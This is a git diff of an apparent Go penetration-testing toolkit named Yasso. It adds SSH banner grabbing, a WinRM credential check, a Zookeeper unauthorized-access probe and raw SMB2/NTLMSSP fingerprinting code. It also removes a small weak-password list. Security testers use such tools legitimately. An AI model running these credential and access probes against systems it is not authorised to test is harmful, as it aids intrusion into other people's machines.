con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
func VersionSSH(info config.ServiceConn) string {
buff, err := sshConn(info)
if err != nil {
logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname))
return ""
}
ok, _ := regexp.Match(`^SSH.\d`, buff)
str := utils.ByteToStringParse(buff)
if ok {
logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]))
return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])
}
return ""
}
// sshConn 连接到tcp
func sshConn(info config.ServiceConn) ([]byte, error) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
if err != nil {
return nil, err
}
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
reply := make([]byte, 256)
_, err = conn.Read(reply)
var buffer [256]byte
if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
if conn != nil {
_ = conn.Close()
}
return reply, nil
}
conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
if err != nil {
return nil, err
}
msg := "GET /test HTTP/1.1\r\n\r\n"
_, err = conn.Write([]byte(msg))
if err != nil {
return nil, err
}
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
reply = make([]byte, 256)
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
return reply, nil
}

30
core/plugin/winrm.go Normal file
View File

@@ -0,0 +1,30 @@
package plugin
import (
"Yasso/config"
"fmt"
"github.com/masterzen/winrm"
"net"
"os"
)
func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) {
var err error
params := winrm.DefaultParameters
// 设置代理认证
params.Dial = func(network, addr string) (net.Conn, error) {
return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
}
// 设置输入
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
stdout := os.Stdout
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
if err != nil {
return nil, false, err
}
if res == 0 && err == nil {
return client, true, nil
}
return nil, false, err
}

View File

@@ -1,14 +1,16 @@
package cmd
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"bytes"
"fmt"
"net"
)
func ZookeeperConn(info config.HostIn) (bool, error) {
func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) {
payload := []byte("envidddfdsfsafafaerwrwerqwe")
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false, err
}
@@ -18,7 +20,7 @@ func ZookeeperConn(info config.HostIn) (bool, error) {
n, err := conn.Read(reply)
if err == nil {
if bytes.Contains(reply[:n], []byte("Environment")) {
Println(fmt.Sprintf("[+] zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
return true, nil
}
}

26
core/utils/utils.go Normal file
View File

@@ -0,0 +1,26 @@
package utils
import (
"encoding/hex"
"fmt"
"strings"
)
func ByteToStringParse(p []byte) string {
var w []string
var res string
for i := 0; i < len(p); i++ {
if p[i] > 32 && p[i] < 127 {
w = append(w, string(p[i]))
continue
}
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
w = append(w, asciiTo16)
}
res = strings.Join(w, "")
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
return s[0]
}
return res
}

5
example.txt Normal file
View File

@@ -0,0 +1,5 @@
192.168.1.1/24
www.baidu.com
192.168.248.1-13
sairson.cn
1ight.top/123456

593
example/tcp_smb_test.go Normal file
View File

@@ -0,0 +1,593 @@
package example
import (
"bytes"
crand "crypto/rand"
"encoding/binary"
"encoding/hex"
"fmt"
"io"
"net"
"strings"
"testing"
"time"
)
func Test(t *testing.T) {
res, _, err := smb2("192.168.248.224", 445, 1*time.Second)
if err != nil || res["ntlmssp.Version"] == "" {
return
} else {
banner := fmt.Sprintf("Version:%s||DNSComputer:%s||TargetName:%s||NetbiosComputer:%s",
res["ntlmssp.Version"],
res["ntlmssp.DNSComputer"],
res["ntlmssp.TargetName"],
res["ntlmssp.NetbiosComputer"],
)
fmt.Println(banner)
return
}
}
// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go
func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) {
// SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2
var smb1NegotiateProtocolRequest = []byte{
0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02,
0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52,
0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46,
0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00,
0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31,
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44,
0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41,
0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00,
0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02,
0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e,
0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31,
0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32,
0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d,
0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00,
}
fmt.Println(string(smb1NegotiateProtocolRequest))
info := make(map[string]string)
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
if err != nil {
return info, []byte{}, err
}
err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout)
if err != nil {
return info, []byte{}, err
}
data, err := SMBReadFrame(conn, timeout)
if err != nil {
return info, []byte{}, err
}
err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout)
if err != nil {
return info, []byte{}, err
}
data, _ = SMBReadFrame(conn, timeout)
SMB2ExtractFieldsFromNegotiateReply(data, info)
// SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request
var smb2SessionSetupNTLMSSP = []byte{
0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42,
0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06,
0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e,
0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a,
0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54,
0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00,
0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00,
0xba, 0x47, 0x00, 0x00, 0x00, 0x0f,
}
setup := make([]byte, len(smb2SessionSetupNTLMSSP))
copy(setup, smb2SessionSetupNTLMSSP)
// Set the ProcessID
binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff)
err = SMBSendData(conn, setup, timeout)
if err != nil {
return info, []byte{}, err
}
data, err = SMBReadFrame(conn, timeout)
SMB2ExtractSIDFromSessionSetupReply(data, info)
SMBExtractFieldsFromSecurityBlob(data, info)
return info, data, err
}
// RandomBytes generates a random byte sequence of the requested length
func RandomBytes(numBytes int) []byte {
randBytes := make([]byte, numBytes)
err := binary.Read(crand.Reader, binary.BigEndian, &randBytes)
if err != nil {
return nil
}
return randBytes
}
// SMBReadFrame reads the netBios header then the full response
func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) {
timeout := time.Now().Add(time.Duration(t) * time.Second)
res := []byte{}
nbh := make([]byte, 4)
err := conn.SetReadDeadline(timeout)
if err != nil {
return res, err
}
// Read the NetBIOS header
n, err := conn.Read(nbh[:])
if err != nil {
// Return if EOF is reached
if err == io.EOF {
return res, nil
}
// Return if timeout is reached
if err, ok := err.(net.Error); ok && err.Timeout() {
return res, nil
}
// If we have data and received an error, it was probably a reset
if len(res) > 0 {
return res, nil
}
return res, err
}
if n != 4 {
return res, nil
}
res = append(res[:], nbh[:n]...)
dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff
buf := make([]byte, dlen)
n, err = conn.Read(buf[:])
if err != nil {
// Return if EOF is reached
if err == io.EOF {
return res, nil
}
// Return if timeout is reached
if err, ok := err.(net.Error); ok && err.Timeout() {
return res, nil
}
// If we have data and received an error, it was probably a reset
if len(res) > 0 {
return res, nil
}
return res, err
}
res = append(res[:], buf[:n]...)
return res, nil
}
// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response
func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) {
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
if smbOffset < 0 {
return
}
data := blob[smbOffset:]
// Basic sanity check
if len(data) < (64 + 8 + 16 + 36) {
return
}
switch binary.LittleEndian.Uint16(data[64+2:]) {
case 0:
info["smb.Signing"] = "disabled"
case 1:
info["smb.Signing"] = "enabled"
case 2, 3:
info["smb.Signing"] = "required"
}
info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:]))
//info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String()
info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:]))
negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:]))
negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:]))
if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) {
return
}
negCtxData := data[negCtxOffset:]
idx := 0
for {
if idx+8 > len(negCtxData) {
break
}
negType := int(binary.LittleEndian.Uint16(negCtxData[idx:]))
negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:]))
idx += 8
if idx+negLen > len(negCtxData) {
break
}
negData := negCtxData[idx : idx+negLen]
SMB2ParseNegotiateContext(negType, negData, info)
// Move the index to the next context
idx += negLen
// Negotiate Contexts are aligned on 64-bit boundaries
for idx%8 != 0 {
idx++
}
}
}
// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values
func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) {
switch t {
case 1:
// SMB2_PREAUTH_INTEGRITY_CAPABILITIES
if len(data) < 6 {
return
}
hashCount := int(binary.LittleEndian.Uint16(data[:]))
// MUST only be one in responses
if hashCount != 1 {
return
}
hashSaltLen := int(binary.LittleEndian.Uint16(data[2:]))
hashType := int(binary.LittleEndian.Uint16(data[4:]))
hashName := "sha512"
if hashType != 1 {
hashName = fmt.Sprintf("unknown-%d", hashType)
}
info["smb.HashAlg"] = hashName
info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen)
case 2:
// SMB2_ENCRYPTION_CAPABILITIES
if len(data) < 4 {
return
}
cipherCount := int(binary.LittleEndian.Uint16(data[:]))
if len(data) < 2+(2*cipherCount) {
return
}
// MUST only be one in responses
if cipherCount != 1 {
return
}
cipherList := []string{}
for i := 0; i < cipherCount; i++ {
cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):]))
cipherName := ""
switch cipherID {
case 1:
cipherName = "aes-128-ccm"
case 2:
cipherName = "aes-128-gcm"
default:
cipherName = fmt.Sprintf("unknown-%d", cipherID)
}
cipherList = append(cipherList, cipherName)
}
info["smb.CipherAlg"] = strings.Join(cipherList, "\t")
case 3:
// SMB2_COMPRESSION_CAPABILITIES
if len(data) < 10 {
return
}
compCount := int(binary.LittleEndian.Uint16(data[:]))
if len(data) < 2+2+4+(2*compCount) {
return
}
// MUST only be one in responses
if compCount != 1 {
return
}
compList := []string{}
for i := 0; i < compCount; i++ {
compID := int(binary.LittleEndian.Uint16(data[8+(i*2):]))
compName := ""
switch compID {
case 0:
compName = "none"
case 1:
compName = "lznt1"
case 2:
compName = "lz77"
case 3:
compName = "lz77+huff"
case 4:
compName = "patternv1"
default:
compName = fmt.Sprintf("unknown-%d", compID)
}
compList = append(compList, compName)
}
info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:]))
info["smb.CompressionAlg"] = strings.Join(compList, "\t")
}
}
// SMBSendData writes a SMB request to a socket
func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error {
err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
if err != nil {
return err
}
n, err := conn.Write(data)
if err != nil {
return err
}
_ = n
return nil
}
// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply
func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) {
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
if smbOffset < 0 {
return
}
smbData := blob[smbOffset:]
if len(smbData) < 48 {
return
}
status := binary.LittleEndian.Uint32(smbData[8:])
info["smb.Status"] = fmt.Sprintf("0x%.8x", status)
sessID := binary.LittleEndian.Uint64(smbData[40:])
info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID)
if len(smbData) >= 64 {
sigData := hex.EncodeToString(smbData[48:64])
if sigData != "00000000000000000000000000000000" {
info["smb.Signature"] = sigData
}
}
}
// SMBExtractValueFromOffset peels a field out of a SMB buffer
func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) {
res := []byte{}
if len(blob) < (idx + 6) {
return res, idx, fmt.Errorf("data truncated")
}
len1 := binary.LittleEndian.Uint16(blob[idx:])
idx += 2
// len2 := binary.LittleEndian.Uint16(blob[idx:])
idx += 2
off := binary.LittleEndian.Uint32(blob[idx:])
idx += 4
// Allow zero length values
if len1 == 0 {
return res, idx, nil
}
if len(blob) < int(off+uint32(len1)) {
return res, idx, fmt.Errorf("data value truncated")
}
res = append(res, blob[off:off+uint32(len1)]...)
return res, idx, nil
}
// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response
func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) {
var err error
ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00})
if ntlmsspOffset < 0 {
return
}
data := blob[ntlmsspOffset:]
// Basic sanity check
if len(data) < (12 + 6 + 12 + 8 + 6 + 8) {
return
}
idx := 12
targetName, idx, err := SMBExtractValueFromOffset(data, idx)
if err != nil {
return
}
// Negotiate Flags
negotiateFlags := binary.LittleEndian.Uint32(data[idx:])
info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags)
idx += 4
// NTLM Server Challenge
idx += 8
// Reserved
idx += 8
// Target Info
targetInfo, idx, err := SMBExtractValueFromOffset(data, idx)
if err != nil {
return
}
// Version
versionMajor := uint8(data[idx])
idx++
versionMinor := uint8(data[idx])
idx++
versionBuild := binary.LittleEndian.Uint16(data[idx:])
idx += 2
ntlmRevision := binary.BigEndian.Uint32(data[idx:])
// macOS reverses the endian order of this field for some reason
if ntlmRevision == 251658240 {
ntlmRevision = binary.LittleEndian.Uint32(data[idx:])
}
info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild)
info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision)
info["ntlmssp.TargetName"] = TrimName(string(targetName))
idx = 0
for {
if idx+4 > len(targetInfo) {
break
}
attrType := binary.LittleEndian.Uint16(targetInfo[idx:])
idx += 2
// End of List
if attrType == 0 {
break
}
attrLen := binary.LittleEndian.Uint16(targetInfo[idx:])
idx += 2
if idx+int(attrLen) > len(targetInfo) {
// log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo))
break
}
attrVal := targetInfo[idx : idx+int(attrLen)]
idx += int(attrLen)
switch attrType {
case 1:
info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal))
case 2:
info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal))
case 3:
info["ntlmssp.DNSComputer"] = TrimName(string(attrVal))
case 4:
info["ntlmssp.DNSDomain"] = TrimName(string(attrVal))
case 7:
ts := binary.LittleEndian.Uint64(attrVal[:])
info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts)
}
// End of List
if attrType == 0 {
break
}
}
}
// TrimName removes null bytes and trims leading and trailing spaces from a string
func TrimName(name string) string {
return strings.TrimSpace(strings.Replace(name, "\x00", "", -1))
}
// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name
func SMB2NegotiateProtocolRequest(dst string) []byte {
base := []byte{
0xfe, 0x53, 0x4d, 0x42,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00,
0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00,
}
// Client GUID (16)
base = append(base[:], RandomBytes(16)...)
base = append(base[:], []byte{
0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03,
0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00,
0x01, 0x00,
}...)
// SHA-512 Salt (32)
base = append(base[:], RandomBytes(32)...)
base = append(base[:], []byte{
0x00, 0x00, 0x02, 0x00, 0x06, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00,
0x01, 0x00, 0x00, 0x00,
}...)
encodedDst := make([]byte, len(dst)*2)
for i, b := range []byte(dst) {
encodedDst[i*2] = b
}
netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst)))
netname = append(netname, encodedDst...)
base = append(base, netname...)
nbhd := make([]byte, 4)
binary.BigEndian.PutUint32(nbhd, uint32(len(base)))
nbhd = append(nbhd, base...)
fmt.Println(string(nbhd))
return nbhd
}

76
example/tcp_ssh_test.go Normal file
View File

@@ -0,0 +1,76 @@
package example
import (
"bytes"
"encoding/hex"
"fmt"
"net"
"regexp"
"strings"
"testing"
"time"
)
func TcpProtocol(host string, port int, timeout time.Duration) ([]byte, error) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
if err != nil {
return nil, err
}
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
reply := make([]byte, 256)
_, err = conn.Read(reply)
var buffer [256]byte
if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
if conn != nil {
_ = conn.Close()
}
return reply, nil
}
conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
if err != nil {
return nil, err
}
msg := "GET /test HTTP/1.1\r\n\r\n"
_, err = conn.Write([]byte(msg))
if err != nil {
return nil, err
}
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
reply = make([]byte, 256)
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
return reply, nil
}
func ByteToStringParse1(p []byte) string {
var w []string
var res string
for i := 0; i < len(p); i++ {
if p[i] > 32 && p[i] < 127 {
w = append(w, string(p[i]))
continue
}
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
w = append(w, asciiTo16)
}
res = strings.Join(w, "")
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
return s[0]
}
return res
}
func Test1(test *testing.T) {
buff, err := TcpProtocol("192.168.248.203", 22, 1*time.Second)
if err != nil {
fmt.Println(err)
}
ok, _ := regexp.Match(`^SSH.\d`, buff)
str := ByteToStringParse1(buff)
fmt.Println(ok, str)
if ok {
fmt.Println(strings.Split(str, "\\x0d\\x0a")[0])
}
}

68
go.mod
View File

@@ -1,29 +1,67 @@
module Yasso
go 1.16
go 1.17
require (
github.com/cheggaaa/pb/v3 v3.0.8
github.com/denisenkom/go-mssqldb v0.11.0
github.com/audibleblink/bamflags v1.0.0
github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37
github.com/denisenkom/go-mssqldb v0.12.0
github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534
github.com/go-redis/redis/v8 v8.11.5
github.com/go-rod/rod v0.107.0
github.com/go-sql-driver/mysql v1.6.0
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
github.com/lib/pq v1.10.4
github.com/gookit/color v1.5.0
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
github.com/jedib0t/go-pretty/v6 v6.3.1
github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/olekukonko/tablewriter v0.0.5
github.com/panjf2000/ants/v2 v2.4.7
github.com/projectdiscovery/cdncheck v0.0.3
github.com/spf13/cobra v1.3.0
github.com/spf13/cobra v1.4.0
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
golang.org/x/text v0.3.7
gopkg.in/ldap.v2 v2.5.1
gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
)
// 这里引入的是shadow1ng师傅的grdp包之前引入一直不成功go的基础还是太差
replace github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 => github.com/shadow1ng/grdp v1.0.3
require (
github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e // indirect
github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect
github.com/cespare/xxhash/v2 v2.1.2 // indirect
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
github.com/gofrs/uuid v4.2.0+incompatible // indirect
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 // indirect
github.com/google/uuid v1.2.0 // indirect
github.com/hashicorp/errwrap v1.0.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jcmturner/goidentity/v6 v6.0.1 // indirect
github.com/jcmturner/gokrb5/v8 v8.4.2 // indirect
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
github.com/yl2chen/cidranger v1.0.2 // indirect
github.com/ysmood/goob v0.4.0 // indirect
github.com/ysmood/gson v0.7.1 // indirect
github.com/ysmood/leakless v0.7.0 // indirect
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d // indirect
)
replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3

839
go.sum

File diff suppressed because it is too large Load Diff

View File

@@ -1,7 +0,0 @@
192.168.248.1
192.168.248.219
192.168.248.212
192.168.248.128
127.0.0.1:445
127.0.0.1:5985

View File

@@ -1,12 +1,6 @@
package main
import (
"Yasso/cmd"
)
func init() {
cmd.CreateLogFile("Yasso.log")
}
import "Yasso/cmd"
func main() {
cmd.Execute()

View File

@@ -1,4 +0,0 @@
123456
P@ssw0rd
930517
kali

View File

@@ -0,0 +1,9 @@
package config
// Exploits exp结构体
type Exploits struct {
Hostname string // 地址
Port int // 端口
User string // 连接用的用户名
Pass string // 连接用的密码
}

View File

@@ -0,0 +1,56 @@
package config
import (
"database/sql"
)
type Results struct {
Columns []string
Rows [][]string
}
func SQLExecute(db *sql.DB, q string) (*Results, error) {
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}

213
pkg/exploit/exploit.go Normal file
View File

@@ -0,0 +1,213 @@
package exploit
import (
"Yasso/core/logger"
